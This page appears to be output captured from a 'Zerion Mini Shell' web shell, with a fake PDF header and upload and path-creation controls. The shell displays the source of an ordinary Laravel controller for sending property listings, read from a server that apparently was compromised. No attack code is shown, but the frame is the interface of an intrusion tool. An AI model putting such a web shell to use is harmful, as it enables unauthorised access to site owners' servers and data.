%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/ugotscom/kma/app/Http/Controllers/
Upload File :
Create Path :
Current File : /home/ugotscom/kma/app/Http/Controllers/PropertySendController.php

<?php

namespace App\Http\Controllers;

use App\Property_send;
use Illuminate\Http\Request;

class PropertySendController extends Controller
{
    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
        //
    }

    /**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function create()
    {
        //
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
        //
   $property_sends=$request->property_ids;
   foreach($property_sends as $s){
    $propertysend = new Property_send;
    $propertysend->lead_id=$request->lead_id;
    $propertysend->client_id=$request->client_id;      
    $propertysend->property_ids=$s;
    $propertysend->code=$request->code;     
    $propertysend->status=1;         
    $propertysend->save();
   }
      
    }

    /**
     * Display the specified resource.
     *
     * @param  \App\Property_send  $property_send
     * @return \Illuminate\Http\Response
     */
    public function show(Property_send $property_send)
    {
        //
    }

    /**
     * Show the form for editing the specified resource.
     *
     * @param  \App\Property_send  $property_send
     * @return \Illuminate\Http\Response
     */
    public function edit(Property_send $property_send)
    {
        //
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \App\Property_send  $property_send
     * @return \Illuminate\Http\Response
     */
    public function update(Request $request, Property_send $property_send)
    {
        //
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  \App\Property_send  $property_send
     * @return \Illuminate\Http\Response
     */
    public function destroy(Property_send $property_send)
    {
        //
    }
    public function propertiesSend($lead){
        $properties=Property_send::where('lead_id',$lead)->leftJoin('properties','properties.id','=','property_sends.property_ids')->get();
        return response()->json($properties);
    }
}

Zerion Mini Shell 1.0